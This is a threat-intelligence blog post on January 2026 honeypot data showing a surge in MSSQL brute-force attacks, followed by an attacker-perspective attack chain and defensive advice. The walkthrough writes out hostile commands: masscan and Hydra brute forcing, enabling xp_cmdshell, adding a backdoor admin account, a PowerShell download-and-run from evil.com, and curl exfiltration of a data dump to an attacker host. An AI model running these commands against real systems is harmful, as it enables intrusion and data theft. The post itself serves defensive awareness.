218 Million Reasons to Worry: What Honeypot Data Reveals About January 2026

Your database server was targeted 113 million times last month. Not yours specifically — but if you’re running MSSQL exposed to the internet, you were part of the largest automated attack wave ever recorded against database infrastructure. January 2026 wasn’t just busy. It was a signal.

TL;DR

• HoneyDB sensors logged 218 million events from 248,608 unique hosts in January 2026 — a 32% increase from December
• MSSQL attacks more than doubled (53M → 113M), now accounting for over half of all global honeypot traffic
• Botnet infrastructure expanded by 50% in one month (163K → 248K unique hosts)
• Attackers are pivoting away from RDP (down 44%) toward database and post-exploitation targets
• SNMP scanning surged into the top 10, signaling more infrastructure-aware reconnaissance

Why This Matters to You

Even if you don’t run honeypots, this data is your early warning system. Honeypots — decoy servers designed to attract and log attacks — capture what’s coming before it reaches production infrastructure. When 248,000 unique hosts are actively probing the internet, the question isn’t whether your systems are being scanned. They are. The question is whether you’ll see it coming.

What Are Honeypots and Why Should You Care?

Think of a honeypot as a fake storefront. It looks real from the outside — open ports, running services, login prompts — but there’s nothing of value inside. When someone tries to break in, every keystroke gets recorded.

Security researchers deploy thousands of these decoys globally through networks like HoneyDB. The data they collect reveals which services attackers are targeting, what tools they’re using, and how their tactics evolve month to month.

This is the kind of intelligence that lets defenders prepare instead of react.

January 2026 by the Numbers

The numbers from January tell a clear story of escalation. HoneyDB’s global sensor network recorded:

That 52% jump in unique hosts is the most concerning figure. It means the infrastructure behind these attacks — the botnets, the compromised servers, the rented VPS nodes — grew by half in 31 days. Someone is investing heavily in scaling up.

Top Targeted Protocols

The five most targeted services in January 2026:

1. MSSQL (Microsoft SQL Server) — 113,195,603 events
2. VNC (Virtual Network Computing) — 30,547,861 events
3. SIP (Session Initiation Protocol) — 18,528,334 events
4. RDP (Remote Desktop Protocol) — 15,900,000 events
5. SNMP (Simple Network Management Protocol) — 5,200,000+ events

MSSQL alone accounts for 51.9% of all recorded events. That’s not a target — that’s an obsession.

The MSSQL Explosion: Why Databases Are the New Frontline

Let’s put this in perspective. In December, MSSQL was already the #1 target at 53 million events. In January, it more than doubled to 113 million. That’s over 3.6 million brute-force attempts per day against database servers worldwide.

What Attackers Are After

When an attacker brute-forces an MSSQL sa (system administrator) account, they gain the keys to the kingdom:

• Direct data access — customer records, financial data, credentials stored in the database
• Command execution — MSSQL’s xp_cmdshell lets attackers run operating system commands directly from SQL
• Ransomware deployment — groups like Mallox and FreeWorld have been observed deploying ransomware through compromised MSSQL servers. If your backup strategy doesn’t account for database-level encryption, you’re exposed
• Cryptomining — botnets like KingMiner install cryptocurrency miners on compromised database servers
• Lateral movement — database servers often sit deep in the network, providing a launchpad to reach other systems

This isn’t a spray-and-pray approach. Attackers are targeting the crown jewels — the systems where the most valuable data lives.

The GoBruteforcer Factor

Research from Check Point identified a sophisticated GoBruteforcer variant in the wild that turns compromised Linux servers into scanning nodes. These nodes then target internet-exposed databases — including MSSQL, MySQL, and PostgreSQL — creating a self-expanding attack network.

The more servers it compromises, the more scanners it has. The more scanners it has, the more servers it compromises. It’s a feedback loop.

How Attackers Exploit MSSQL: A Real-World Attack Chain

To understand why these 113 million events matter, let’s walk through what an actual MSSQL compromise looks like from the attacker’s perspective. This isn’t theoretical — these are techniques observed in honeypot captures and real incident response cases.

Step 1: Discovery and Brute Force

The attack starts with a simple port scan. Automated tools sweep entire IP ranges looking for TCP port 1433 (MSSQL’s default port). Once found, brute-force tools cycle through common credential pairs — sa:sa, sa:password, sa:P@ssw0rd, sa:1234 — at thousands of attempts per minute.

# What the attacker's scanner looks like (simplified)
# Masscan finds open MSSQL ports at massive scale
masscan 0.0.0.0/0 -p 1433 --rate 100000 -oL targets.txt

# Then brute-force tools like Hydra hammer credentials
hydra -l sa -P passwords.txt mssql://target:1433

Most organizations allow unlimited login attempts on their SQL servers. Without lockout policies, it’s just a matter of time.

Step 2: Enabling Command Execution

Once the attacker has sa credentials, they enable xp_cmdshell — a built-in MSSQL feature that executes operating system commands directly from SQL queries. It’s like finding a service door that leads from the database straight into the server’s operating system.

-- Attacker enables xp_cmdshell (often disabled by default)
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- Now they can run any OS command
EXEC xp_cmdshell 'whoami';
-- Result: nt service\mssqlserver

At this point, the attacker controls the operating system through SQL queries.

Step 3: Establishing Persistence

The attacker now creates a backdoor account so they can return even if the original sa password is changed:

-- Create a hidden local admin account
EXEC xp_cmdshell 'net user support_svc Str0ngP@ss! /add';
EXEC xp_cmdshell 'net localgroup administrators support_svc /add';

-- Or download a reverse shell / C2 agent
EXEC xp_cmdshell 'powershell -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString(''http://evil.com/payload.ps1'')"';

This is where many organizations first notice something is wrong — if they’re monitoring at all. The account name support_svc is intentionally chosen to blend in with legitimate service accounts.

Step 4: Data Exfiltration or Ransomware

With OS-level access through the database server, the attacker has two primary monetization paths:

Path A — Data Theft:

-- Dump all databases to a file
EXEC xp_cmdshell 'sqlcmd -Q "SELECT * FROM customers" -o C:\temp\dump.csv';
-- Exfiltrate using curl, FTP, or DNS tunneling
EXEC xp_cmdshell 'curl -X POST -d @C:\temp\dump.csv https://exfil.attacker.com/upload';

Path B — Ransomware: Groups like Mallox and FreeWorld download their ransomware payload directly through the MSSQL connection, encrypting the database server and any network shares it can reach. The ransom note appears, and operations grind to a halt.

Step 5: Lateral Movement

Database servers are rarely isolated. They sit in the middle of the network, connected to application servers, backup systems, and often Active Directory. From a compromised MSSQL server, attackers can:

• Harvest stored credentials — connection strings in config files often contain other database passwords
• Reach internal systems — database servers typically have broad network access
• Access backups — if the backup shares are mounted, the attacker can encrypt or delete them before deploying ransomware
• Pivot via linked servers — MSSQL’s linked server feature can chain access to other database instances across the organization

This entire chain — from initial scan to full network compromise — can take less than an hour when automated.

Defending the Database: Beyond the Basics

The “What You Can Do Today” section later in this article covers quick wins. But defending against the attack chain above requires deeper measures. Here’s a layered defense strategy mapped to each attack step.

Block the Discovery (Step 1)

Prevent the Brute Force (Steps 1–2)

Detect the Exploitation (Steps 2–3)

-- Detection query: Find xp_cmdshell usage in SQL Server logs
SELECT
    event_time,
    server_principal_name,
    statement
FROM sys.fn_get_audit_file('C:\SQLAudit\*.sqlaudit', NULL, NULL)
WHERE statement LIKE '%xp_cmdshell%'
ORDER BY event_time DESC;

Contain the Blast Radius (Steps 4–5)

The Principle in One Sentence

If your database server can reach the internet, the internet can eventually reach your data. Every control above works toward one goal: making the database invisible from the outside and contained on the inside.

The Protocol Pivot: RDP Down, Databases Up

One of the most strategically interesting findings is the decline in RDP targeting. RDP dropped 44% (28.2M → 15.9M), and DNS activity was cut in half. Meanwhile, database protocols surged.

What does this tell us?

A Kill Chain Shift

In the MITRE ATT&CK framework, RDP and DNS are primarily Initial Access and Discovery techniques. MSSQL targeting maps to Credential Access, Collection, and Exfiltration — later stages of the kill chain.

This suggests attackers are graduating from general reconnaissance to focused exploitation. They’ve already identified their targets during months of RDP and DNS scanning. Now they’re going straight for the data.

Traditional attack flow:
  RDP scan → Find open server → Brute force → Access

Emerging pattern (Jan 2026):
  MSSQL scan → Brute force sa account → xp_cmdshell → Ransomware/Exfil

The pivot from perimeter probing to direct database assault is a sign of maturing attack operations — a trend we explored in depth in The Digital Parasite: How Attacker Tradecraft Evolved in 2026.

SNMP: The Quiet Signal

SNMP’s sudden appearance in the top 10 (5.2 million events, up from negligible) deserves special attention. SNMP (Simple Network Management Protocol) is how network devices — routers, switches, printers, IoT devices — communicate their status and configuration.

Why Attackers Love SNMP

When an attacker queries SNMP on a device with default community strings (like public or private), they can learn:

• Network topology — what connects to what
• Device types and firmware versions — what’s vulnerable
• Interface configurations — where traffic flows
• System uptime and load — which systems are active

This is pre-attack intelligence gathering. It’s like an attacker walking through your building before the heist, noting every camera, every door, every guard rotation.

The SNMP surge aligns with the broader trend of infrastructure-aware adversaries who map the network before they strike. Combined with the Kimwolf botnet’s record-breaking capabilities and growing IoT device compromise, this reconnaissance activity could be the precursor to larger coordinated attacks.

Month-over-Month Trends: The Bigger Picture

Zooming out, January’s data fits into a longer pattern:

What’s rising:

• Database-targeted attacks (MSSQL +112%, VNC +significant)
• Botnet infrastructure scale (+52% unique hosts)
• Infrastructure reconnaissance (SNMP entering top 10)
• Attack sophistication (AI-enhanced brute-forcing tools)

What’s declining:

• Perimeter-focused scanning (RDP -44%)
• DNS probing (-50%)
• FTP targeting (dropped out of top 10)

The decline in “easy target” scanning (RDP, FTP) alongside the rise in database and infrastructure attacks points to a professionalization of the threat landscape. Commodity attackers are moving to higher-value targets.

What You Can Do Today

For Database Administrators

1. Audit MSSQL exposure — Run nmap -p 1433 your-external-IP to verify MSSQL isn’t exposed to the internet. If it is, firewall it immediately.
2. Disable xp_cmdshell — Unless you have a documented business need, disable it:

   -- Disable xp_cmdshell
   EXEC sp_configure 'xp_cmdshell', 0;
   RECONFIGURE;
   

3. Enforce account lockout — Set aggressive lockout policies for the sa account. Better yet, rename or disable it entirely and use named accounts.
4. Monitor failed logins — Alert on more than 5 failed SQL authentication attempts in a 1-minute window. At 3.6 million daily attempts globally, your server is being probed.

For Network Engineers

5. Change SNMP community strings — Default public and private strings are the #1 SNMP vulnerability. Use SNMPv3 with authentication where possible.
6. Restrict SNMP access — Bind SNMP to management VLANs only. Block SNMP (UDP 161/162) at the perimeter.
7. Map your exposure — Use shodan.io to check what your organization looks like from the outside. You might be surprised.

For Security Teams

8. Shift monitoring focus — If your alerts are still primarily tuned for RDP brute-force, update them. Add database query anomaly detection and lateral movement indicators. Modern EDR and XDR solutions can correlate database anomalies with endpoint behavior.
9. Baseline your traffic — Know what “normal” MSSQL and SNMP traffic looks like in your environment so you can spot deviations.
10. Review the kill chain — Attackers are skipping the front door and going straight for data stores. Make sure your detection covers post-exploitation, not just initial access.

The Question Going Forward

January’s data leaves us with a critical question: is the MSSQL surge a temporary spike, or the new baseline?

If the 52% growth in attacker infrastructure continues at this rate, we could see over 300,000 unique scanning hosts by March. The shift toward database targeting suggests a threat landscape that’s becoming more focused, more automated, and more dangerous to organizations that haven’t hardened their data tier.

The honeypots are sounding the alarm. The question is whether defenders are listening.

Related Posts

• The Digital Parasite: How Attacker Tradecraft Evolved in 2026 — deep dive into the MITRE ATT&CK techniques behind the kill chain shifts seen in this honeypot data
• Ransomware Backup Strategy: Why 93% Who Pay Still Lose Data — what happens after MSSQL ransomware hits — and how to survive it
• Antivirus vs EDR vs XDR — What’s the Real Difference in 2026? — understanding the detection tools that can catch database exploitation and lateral movement
• Zero Trust vs. Real Attacks: Which Threats Does It Actually Stop? — how zero trust architecture limits the blast radius of compromised database servers
• MDR in Plain English: What It Solves That Tools Alone Can’t — why automated brute-force campaigns at this scale need human-driven threat hunting

Sources

• HoneyDB — Global Threat Data
• Check Point Research — GoBruteforcer AI-Generated Campaigns (2026)
• Infosecurity Magazine — Mallox Ransomware via MS-SQL
• Trustwave SpiderLabs — MSSQL Honeypot Recon
• SC Media — MSSQL 93% of Honeypot Activity
• The Hacker News — AISURU/Kimwolf Botnet Record DDoS
• Krebs on Security — Kimwolf Botnet (2026)
• CM Alliance — Major Cyber Attacks January 2026